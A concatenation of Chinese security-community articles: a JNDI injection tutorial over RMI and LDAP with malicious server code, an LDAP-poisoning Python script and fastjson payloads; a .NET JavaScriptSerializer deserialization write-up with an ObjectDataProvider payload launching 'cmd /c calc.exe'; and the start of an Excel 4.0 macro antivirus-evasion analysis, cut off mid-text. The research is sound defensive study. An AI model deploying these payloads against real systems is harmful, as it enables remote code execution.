如果远程获取到RMI服务上的对象为 Reference类或者其子类，则在客户端获取远程对象存根实例时，可以从其他服务器上加载 class
文件来进行实例化获取Stub对象。
Reference中几个比较关键的属性：
1. className - 远程加载时所使用的类名，如果本地找不到这个类名，就去远程加载
2. classFactory - 远程的工厂类
3. classFactoryLocation - 工厂类加载的地址，可以是file://、ftp://、http:// 等协议
使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问，客户端可以访问该引用。
Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名，FactoryClassName为工厂类名并且包含工厂类的包名
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);//这里也可以使用JNDI的ctx.bind("Foo", wrapper)方式，都可以
当有客户端通过 `lookup("refObj")` 获取远程对象时，获得到一个 Reference 类的存根，由于获取的是一个
Reference类的实例，客户端会首先去本地的 `CLASSPATH` 去寻找被标识为 `refClassName` 的类，如果本地未找到，则会去请求
`http://example.com:12345/FactoryClassName.class` 加载工厂类。
这个攻击过程如下：
1. 攻击者为易受攻击的JNDI的lookup方法提供了绝对的RMI URL
2. 服务器连接到受攻击者控制的RMI注册表，该注册表将返回恶意JNDI引用
3. 服务器解码JNDI引用
4. 服务器从攻击者控制的服务器获取Factory类
5. 服务器实例化Factory类
6. 有效载荷得到执行
来模拟下这个过程（以下代码在JDK 1.8.0_102上测试通过）：
恶意的JNDIServer，
package com.longofo.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 创建Registry
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
客户端，
package com.longofo.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMIClient1 {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
// Properties env = new Properties();
// env.put(Context.INITIAL_CONTEXT_FACTORY,
// "com.sun.jndi.rmi.registry.RegistryContextFactory");
// env.put(Context.PROVIDER_URL,
// "rmi://localhost:9999");
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:9999/refObj");
}
}
完整代码在[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上，先启动`remote-class/src/main/java/com/longofo/remoteclass/HttpServer`，接着启动`rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/RMIServer1`，在运行`rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/RMIClient1`即可复现，在JDK 1.8.0_102测试通过。
还有一种利用本地Class作为Reference
Factory，这样可以在更高的版本使用，可以参考<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>[11]的"绕过高版本JDK限制：利用本地Class作为Reference Factory"相关部分。
##### JNDI+LDAP攻击向量
###### LDAP简介
LDAP（Lightweight Directory Access Protocol
，轻型目录访问协议）是一种目录服务协议，运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统，目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息，能进行查询、浏览和搜索，以树状结构组织数据。LDAP目录服务基于客户端-服务器模型，它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。
**目录树概念**
* 目录树：在一个目录服务系统中，整个目录信息集可以表示为一个目录信息树，树中的每个节点是一个条目
* 条目：每个条目就是一条记录，每个条目有自己的唯一可区别的名称（DN）
* 对象类：与某个实体类型对应的一组属性，对象类是可以继承的，这样父类的必须属性也会被继承下来
* 属性：描述条目的某个方面的信息，一个属性由一个属性类型和一个或多个属性值组成，属性有必须属性和非必须属性。如javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation等属性，在后面的利用中会用到这些属性
**DC、UID、OU、CN、SN、DN、RDN（互联网命名组织架构使用的这些关键字，还有其他的架构有不同的属关键字）**
**关键字** | **英文全称** | **含义**
---|---|---
**dc** | Domain Component |
域名的部分，其格式是将完整的域名分成几部分，如域名为example.com变成dc=example,dc=com（一条记录的所属位置）
**uid** | User Id | 用户ID songtao.xu（一条记录的ID）
**ou** | Organization Unit |
组织单位，组织单位可以包含其他各种对象（包括其他组织单元），如"employees"（一条记录的所属组织单位）
**cn** | Common Name | 公共名称，如"Thomas Johansson"（一条记录的名称）
**sn** | Surname | 姓，如"xu"
**dn** | Distinguished Name |
由有多个其他属性组成，如"uid=songtao.xu,ou=oa组,dc=example,dc=com"，一条记录的位置（唯一）
**rdn** | Relative dn | 相对辨别名，类似于文件系统中的相对路径，它是与目录树结构无关的部分，如“uid=tom”或“cn=
Thomas Johansson”
LDAP
的目录信息是以树形结构进行存储的，在树根一般定义国家（c=CN）或者域名（dc=com），其次往往定义一个或多个组织（organization，o）或组织单元（organization
unit，ou）。一个组织单元可以包含员工、设备信息（计算机/打印机等）相关信息。例如为公司的员工设置一个DN，可以基于cn或uid（User
ID）作为用户账号。如example.com的employees单位员工longofo的DN可以设置为下面这样：
uid=longofo,ou=employees,dc=example,dc=com
用树形结构表示就是下面这种形式（Person绑定的是类对象）：
###### LDAP攻击向量
攻击过程如下：
1. 攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
2. 服务器连接到由攻击者控制的LDAP服务器，该服务器返回恶意JNDI 引用
3. 服务器解码JNDI引用
4. 服务器从攻击者控制的服务器获取Factory类
5. 服务器实例化Factory类
6. 有效载荷得到执行
JNDI也可以用于与LDAP目录服务进行交互。通过使用几个特殊的Java属性，如上面提到的javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation属性等，使用这些属性可以使用LDAP来存储Java对象，在LDAP目录中存储属性至少有以下几种方式：
* 使用序列化
<https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html>[12]
这种方式在具体在哪个版本开始需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性默认为true才允许远程加载类还不清楚，不过我在jdk1.8.0_102上测试需要设置这个属性为true。
恶意服务端：
package com.longofo;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPSeriServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
客户端：
package com.longofo.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}
完整代码在[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上，先启动`remote-class/src/main/java/com/longofo/remoteclass/HttpServer`，接着启动`rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPSeriServer`，运行`rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPServer1`添加codebase以及序列化对象，在运行客户端`rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/LDAPClient1`即可复现。以上代码在JDK
1.8.0_102测试通过，注意客户端`System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true")`这里我在jdk
1.8.0_102测试不添加这个允许远程加载是不行的，所以具体的测试结果还是以实际的测试为准。
* 使用JNDI引用
<https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html>[>](https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html)[13]
这种方式在Oracle JDK 11.0.1、8u191、7u201、6u211之后
com.sun.jndi.ldap.object.trustURLCodebase属性默认为false时不允许远程加载类了
恶意服务端：
package com.longofo;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
客户端：
package com.longofo.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient2 {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}
完整代码在[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上，先启动`remote-class/src/main/java/com/longofo/remoteclass/HttpServer`，接着启动`rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPRefServer`，运行`rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPServer2`添加JNDI引用，在运行客户端`rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/LDAPClient2`即可复现。
* Remote Location方式
这种方式是结合LDAP与RMI+JNDI Reference的方式，所以依然会受到上面RMI+JNDI
Reference的限制，这里就不写代码测试了，下面的代码只说明了该如何使用这种方式：
BasicAttribute mod1 = new BasicAttribute("javaRemoteLocation",
"rmi://attackerURL/PayloadObject");
BasicAttribute mod2 = new BasicAttribute("javaClassName",
"PayloadObject");
ModificationItem[] mods = new ModificationItem[2];
mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);
还有利用本地class绕过高版本JDK限制的，可以参考<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>[11]的"绕过高版本JDK限制：利用LDAP返回序列化数据，触发本地Gadget"部分
###### LDAP与JNDI search()
lookup()方式是我们能控制ctx.lookup()参数进行对象的查找，LDAP服务器也是攻击者创建的。对于LDAP服务来说，大多数应用使用的是ctx.search()进行属性的查询，这时search会同时使用到几个参数，并且这些参数一般无法控制，但是会受到外部参数的影响，同时search()方式能被利用需要RETURN_OBJECT为true，可以看下后面几已知的JNDI
search()漏洞就很清楚了。
**攻击场景**
对于search方式的攻击需要有对目录属性修改的权限，因此有一些限制，在下面这些场景下可用：
* 恶意员工：上面使用了几种利用都使用了modifyAttributes方法，但是需要有修改权限，如果员工具有修改权限那么就能像上面一样注入恶意的属性
* 脆弱的LDAP服务器：如果LDAP服务器被入侵了，那么入侵LDAP服务器的攻击者能够进入LDAP服务器修改返回恶意的对象，对用的应用进行查询时就会受到攻击
* 易受攻击的应用程序：利用易受攻击的一个应用，如果入侵了这个应用，且它具有对LDAP的写权限，那么利用它使注入LDAP属性，那么其他应用使用LDAP服务是也会遭到攻击
* 用于访问LDAP目录的公开Web服务或API：很多现代LDAP服务器提供用于访问LDAP目录的各种Web API。可以是功能或模块，例如REST API，SOAP服务，DSML网关，甚至是单独的产品（Web应用程序）。其中许多API对用户都是透明的，并且仅根据LDAP服务器的访问控制列表（ACL）对它们进行授权。某些ACL允许用户修改其任何除黑名单外的属性
* 中间人攻击：尽管当今大多数LDAP服务器使用TLS进行加密他们的通信后，但在网络上的攻击者仍然可能能够进行攻击并修改那些未加密的证书，或使用受感染的证书来修改属性
* ...
**已知的JNDI search()漏洞**
* Spring Security and LDAP projects
* FilterBasedLdapUserSearch.searchForUser()
* SpringSecurityLdapTemplate.searchForSingleEntry()
* SpringSecurityLdapTemplate.searchForSingleEntryInternal(){
...
**ctx.search(searchBaseDn, filter, params,buildControls(searchControls));**
...
}
buildControls(){
? return new SearchControls(
? originalControls.getSearchScope(),
? originalControls.getCountLimit(),
? originalControls.getTimeLimit(),
? originalControls.getReturningAttributes(),
? **RETURN_OBJECT**, // true
? originalControls.getDerefLinkFlag());
}
利用方式：
import ldap
# LDAP Server
baseDn = 'ldap://localhost:389/'
# User to Poison
userDn = "cn=Larry,ou=users,dc=example,dc=org"
# LDAP Admin Credentials
admin = "cn=admin,dc=example,dc=org"
password = "password"
# Payload
payloadClass = 'PayloadObject'
payloadCodebase = 'http://localhost:9999/'
# Poisoning
print "[+] Connecting"
conn = ldap.initialize(baseDn)
conn.simple_bind_s(admin, password)
print "[+] Looking for user: %s" % userDn
result = conn.search_s(userDn, ldap.SCOPE_BASE, '(uid=*)', None)
for k,v in result[0][1].iteritems():
print "\t\t%s: %s" % (k,v,)
print "[+] Poisoning user: %s" % userDn
mod_attrs = [
(ldap.MOD_ADD, 'objectClass', 'javaNamingReference'),
(ldap.MOD_ADD, 'javaCodebase', payloadCodebase),
(ldap.MOD_ADD, 'javaFactory', payloadClass),
(ldap.MOD_ADD, 'javaClassName', payloadClass)]
conn.modify_s(userDn, mod_attrs)
print "[+] Verifying user: %s" % userDn
result = conn.search_s(userDn, ldap.SCOPE_BASE, '(uid=*)', None)
for k,v in result[0][1].iteritems():
print "\t\t%s: %s" % (k,v,)
print "[+] Disconnecting"
conn.unbind_s()
不需要成功认证payload依然可以执行
* Spring LDAP
* LdapTemplate.authenticate()
* LdapTemplate.search(){
? return search(base, filter, getDefaultSearchControls(searchScope,
? **RETURN_OBJ_FLAG**, attrs), mapper);//true
}
利用方式同上类似
* Apache DS Groovy API
Apache Directory提供了一个包装器类（org.apache.directory.groovyldap.LDAP），该类提供了
用于Groovy的LDAP功能。此类对所有搜索方法都使用将returnObjFlag设置为true的方法从而使它们容易受到攻击
#### 已知的JNDI注入
* [org.springframework.transaction.jta.JtaTransactionManager](https://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce)
由@zerothinking发现
`org.springframework.transaction.jta.JtaTransactionManager.readObject()`方法最终调用了
`InitialContext.lookup()`，并且最终传递到lookup中的参数userTransactionName能被攻击者控制，调用过程如下：
* initUserTransactionAndTransactionManager()
* JndiTemplate.lookup()
* InitialContext.lookup()
* [com.sun.rowset.JdbcRowSetImpl](https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html)
由@matthias_kaiser发现
`com.sun.rowset.JdbcRowSetImpl.execute()`最终调用了`InitialContext.lookup()`
* JdbcRowSetImpl.execute()
* JdbcRowSetImpl.prepare()
* JdbcRowSetImpl.connect()
* InitialContext.lookup()
要调用到JdbcRowSetImpl.execute()，作者当时是通过`org.mozilla.javascript.NativeError`与`javax.management.BadAttributeValueExpException`配合在反序列化实现的，这个类通过一系列的复杂构造，最终能成功调用任意类的无参方法，在ysoserial中也有这条利用链。可以阅读这个漏洞的原文，里面还可以学到`TemplatesImpl`这个类，它能通过字节码加载一个类，这个类的使用在fastjson漏洞中也出现过，是[@廖新喜](http://xxlegend.com/)师傅提供的一个PoC，payload大概长这个样子：
```java' payload =
"{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["xxxxxxxxxx"], "_name": "1111", "_tfactory": { },
"_outputProperties":{ }}";
另一个`JdbcRowSetImpl`的利用方式是通过它的`setAutoCommit`，也是通过fastjson触发，`setAutoCommit`会调用`connect()`，也会到达`InitialContext.lookup()`，payload：
```java
payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}";
* [javax.management.remote.rmi.RMIConnector.connect()](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)
found by @pwntester
`javax.management.remote.rmi.RMIConnector.connect()`最终会调用到`InitialContext.lookup()`，参数jmxServiceURL可控
* RMIConnector.connect()
* RMIConnector.connect(Map environment)
* RMIConnector.findRMIServer(JMXServiceURL directoryURL, Map environment)
* RMIConnector.findRMIServerJNDI(String jndiURL, Map env, boolean isIiop)
* InitialContext.lookup()
* [org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)
found by @pwntester
在`org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()`中会调用`InitialContext.lookup()`，并且参数sfJNDIName可控
* ...
### 小结
从上面我们能了解以下几点：
* JNDI能配合RMI、LDAP等服务进行恶意利用
* 每种服务的利用方式有多种，在不同的JDK版本有不同的限制，可以使用远程类加载，也能配合本地GadGet使用
* JNDI lookup()与JNDI search()方法不同的利用场景
对这些资料进行搜索与整理的过程自己能学到很多，有一些相似性的特征自己可以总结与搜集下。
### 参考
1. <https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html>
2. <https://paper.seebug.org/1012/>
3. <https://www.freebuf.com/vuls/126499.html>
4. <https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/codebase.html>
5. <https://www.oreilly.com/library/view/weblogic-the-definitive/059600432X/ch04s03.html#weblogictdg-CHP-4-EX-3>
6. <https://www.freebuf.com/vuls/126499.html>
7. <https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#background>
8. <http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/>
9. <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf>
10. <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf>
11. <https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
12. <https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html>
13. <https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html>
* * * | 社区文章 |
**原文来自安全客，作者：Ivan1ee@360云影实验室
原文链接：<https://www.anquanke.com/post/id/173652>**
相关阅读：
* [《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》](https://paper.seebug.org/837/ "《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》")
* [《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》](https://paper.seebug.org/843/ "《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》")
* [《.NET高级代码审计（第三课）Fastjson反序列化漏洞》](https://paper.seebug.org/849/ "《.NET高级代码审计（第三课）Fastjson反序列化漏洞》")
* [《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》](https://paper.seebug.org/881/ "《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》")
* [《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》](https://paper.seebug.org/882/ "《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》")
## 0X00 前言
在.NET处理
Ajax应用的时候，通常序列化功能由JavaScriptSerializer类提供，它是.NET2.0之后内部实现的序列化功能的类，位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用，让开发者轻松实现.Net中所有类型和Json数据之间的转换，但在某些场景下开发者使用Deserialize
或DeserializeObject方法处理不安全的Json数据时会造成反序列化攻击从而实现远程RCE漏洞，本文笔者从原理和代码审计的视角做了相关介绍和复现。
## 0X01 JavaScriptSerializer序列化
下面先来看这个系列课程中经典的一段代码：
TestClass类定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
使用JavaScriptSerializer类中的Serialize方法非常方便的实现.NET对象与Json数据之间的转化，笔者定义TestClass对象，常规下使用Serialize得到序列化后的Json
{"Classname":"360","Name":"Ivan1ee","Age":18}
从之前介绍过其它组件反序列化漏洞原理得知需要
__type这个Key的值，要得到这个Value就必须得到程序集全标识（包括程序集名称、版本、语言文化和公钥），那么在JavaScriptSerializer中可以通过实例化SimpleTypeResolver类，作用是为托管类型提供类型解析器，可在序列化字符串中自定义类型的元数据程序集限定名称。笔者将代码改写添加类型解析器
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
这次序列化输出程序集的完整标识，如下
{"__type":"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Classname":"360","Name":"Ivan1ee","Age":18}
## 0x02 JavaScriptSerializer反序列化
### 2.1、反序列化用法
反序列化过程就是将Json数据转换为对象，在JavaScriptSerializer类中创建对象然后调用DeserializeObject或Deserialize方法实现的
DeserializeObject方法只是在Deserialize方法上做了一层功能封装，重点来看Deserialize方法，代码中通过JavaScriptObjectDeserializer.BasicDeserialize方法返回object对象
在BasicDeserialize内部又调用了DeserializeInternal方法，当需要转换为对象的时候会判断字典集合中是否包含了ServerTypeFieldName常量的Key，
ServerTypeFieldName常量在JavaScriptSerializer类中定义的值为“__type”,
剥茧抽丝，忽略掉非核心方法块ConvertObjectToType、ConvertObjectToTypeMain
、ConvertObjectToTypeInternal，最后定位到ConvertDictionaryToObject方法内
这段代码首先判断ServerTypeFieldName存在值的话就输出赋值给对象s，第二步将对象s强制转换为字符串变量serverTypeName，第三步获取解析器中的实际类型，并且通过System.Activator的CreateInstance构造类型的实例
Activator类提供了静态CreateInstance方法的几个重载版本，调用方法的时候既可以传递一个Type对象引用，也可以传递标识了类型的String，方法返回对新对象的引用。下图Demo展示了序列化和反序列化前后的效果：
反序列化后得到对象的属性，打印输出当前的成员Name的值
### 2.2、打造Poc
默认情况下JavaScriptSerializer不会使用类型解析器，所以它是一个安全的序列化处理类，漏洞的触发点也是在于初始化JavaScriptSerializer类的实例的时候是否创建了SimpleTypeResolver类，如果创建了，并且反序列化的Json数据在可控的情况下就可以触发反序列化漏洞，借图来说明调用链过程
笔者还是选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下[《.NET高级代码审计（第一课）
XmlSerializer反序列化漏洞》](https://paper.seebug.org/837/ "《.NET高级代码审计（第一课）
XmlSerializer反序列化漏洞》")，因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性，例如指定文件名、指定启动参数，所以首先得考虑序列化ProcessStartInfo，这块可参考[《.NET高级代码审计（第三课）
Fastjson反序列化漏洞》](https://paper.seebug.org/849/ "《.NET高级代码审计（第三课）
Fastjson反序列化漏洞》")
，之后对生成的数据做减法，去掉无关的System.RuntimeType、System.IntPtr数据，最终得到反序列化Poc
{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd',
'Arguments':'/c calc.exe'
}
}
}
笔者编写了触发代码，用`Deserialize<Object>`反序列化Json成功弹出计算器。
## 0x03 代码审计视角
### 3.1、Deserialize
从代码审计的角度其实很容易找到漏洞的污染点，通过前面几个小节的知识能发现需要满足一个关键条件new SimpleTypeResolver()
，再传入Json数据，就可被反序列化，例如下面的JsonHelper类
攻击者只需要控制传入字符串参数input便可轻松实现反序列化漏洞攻击。Github上也存在大量的不安全案例代码
### 3.2、DeserializeObject
JavaScriptSerializer还有一个反序列化方法DeserializeObject，这个方法同样可以触发漏洞，具体污染代码如下
## 0x04 案例复盘
最后再通过下面案例来复盘整个过程，全程展示在VS里调试里通过反序列化漏洞弹出计算器。
1. 输入<http://localhost:5651/Default> Post加载value值
2. 通过DeserializeObject反序列化 ，并弹出计算器
最后附上动态效果图
## 0x05 总结
JavaScriptSerializer凭借微软自身提供的优势，在实际开发中使用率还是比较高的，只要没有使用类型解析器或者将类型解析器配置为白名单中的有效类型就可以防止反序列化攻击（默认就是安全的序列化器），对于攻击者来说实际场景下估计利用概率不算高，毕竟很多开发者不会使用SimpleTypeResolver类去处理数据。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# 老树开新花：利用Excel 4.0宏躲避杀软检测的攻击技术分析
##### 译文声明
本文是翻译文章，文章原作者 360威胁情报中心，文章来源：ti.360.net
原文地址：<https://ti.360.net/blog/articles/excel-macro-technology-to-evade-detection/>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2018年10月18日，360威胁情报中心首次捕获到一例利用Excel 4.0宏传播Imminent
Monitor远控木马的在野攻击样本。而这离2018年10月6日国外安全厂商Outflank的安全研究人员首次公开使用Excel
4.0宏执行ShellCode的利用代码仅仅过去了10余天。虽然Excel
4.0宏技术已经发布超过20年，并且在该技术出现早期就被经常用于制作宏病毒，但事实上，由于Microsoft很早就使用VBA宏（Visual Basic
for Applications）来代替Excel 4.0宏技术，这导致Excel 4.0宏并不为大众所熟知。并且由于Excel 4.0宏存放在Excel
97 – 2003格式（.xls，复合二进制文件格式）的Workbook OLE流中，这使得杀毒软件解析并检测Excel 4.0宏变得非常困难。
360威胁情报中心详细分析了Excel 4.0宏在Excel文档中的存储方式，并通过深入研究发现：在使用一些技巧隐藏Excel
4.0宏并配合执行一些经过特殊处理的ShellCode后，可以完美的躲避几乎所有杀毒软件的静态和动态查杀并执行任意恶意代码。由于基于Excel
4.0宏的新型利用技术已经被公开，且已经出现了利用该技术传播远控木马的在野利用，所以360威胁情报中心发布该分析报告并提醒预防此类攻击。
## 极强的免杀能力
360威胁情报中心通过深入分析Excel
4.0宏在复合二进制文件格式中的存储方式，构造了可以执行远程任意恶意代码的Exploit样本。经测试，国内外多款著名杀毒软件均无法对这类样本实现查杀：
### 卡巴斯基静态免杀
### 卡巴斯基动态免杀
### ESET-NOD32静态免杀
### ESET-NOD32动态免杀
## POC分析
Outflank的安全研究人员公开的POC样本在VirusTotal上查杀效果如下，截止目前未有杀软可以查杀，如果配合一些特殊的技巧还可以躲过杀软的动态查杀：
### 执行过程分析
下图是Outflank的安全研究人员给出的测试Excel 4.0宏的样本内容：
由于第一行第一列单元格名称被设置成“Auto_Open”，所以当打开此表格并点击了启用宏内容按钮时，Excel将会自动将此表格中的内容当成Excel
4.0宏执行。如果需要分析其执行过程，可以选中第一行第一列数据，右键选择“执行”菜单：
然后在弹出的对话框中“位置”处选择本Excel文件，然后点击“单步执行”按钮：
最后在弹出的对话框中可以看到公式内容，以及“单步执行”、“单步跳过”、“求值”等按钮：
从调试过程来看，Excel首先执行第一行第一列中的宏代码，即=EXEC(“calc.exe”)，该指令执行完成后将会弹出计算器，同理可调试剩余两个公式，以下是三个公式的具体含义：
公式内容 | 功能
---|---
=EXEC(“calc.exe”) | 内部调用WinExec函数打开计算器
=ALERT(“Hello, World”) | 内部调用MessageBox函数打开对话框
=HALT() | 标识Excel 4.0宏结束，类似C语言return指令
样本执行结果是打开计算器并弹出内容为“Hello, World”的对话框：
### 使用Excel 4.0宏执行ShellCode
由于Excel
